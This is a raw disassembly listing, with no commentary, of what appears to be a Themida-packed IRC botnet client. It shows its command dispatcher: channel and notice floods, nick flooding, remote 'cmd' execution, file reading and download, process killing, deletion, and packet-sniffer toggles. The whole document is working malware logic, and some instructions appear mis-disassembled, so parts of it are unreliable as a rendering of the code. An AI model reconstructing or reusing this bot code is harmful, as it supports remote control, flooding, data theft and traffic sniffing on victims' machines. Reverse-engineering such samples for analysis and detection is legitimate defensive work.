		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BBC8
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42BBC4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBC0
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42BBAC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBC0
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BB98
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBC0
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBC0
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 2680CE9h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB28
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42BB14
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42BB10
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BAE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42BBB0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA88
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA70
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA70
		push	eax
		call	sub_41B886


loc_4055FE:				; DATA XREF: Themida_:0053C6B4o
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D46BC


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB6BC


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DADDC
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA10
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B918
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42B8AC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B870
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B844
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B81C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
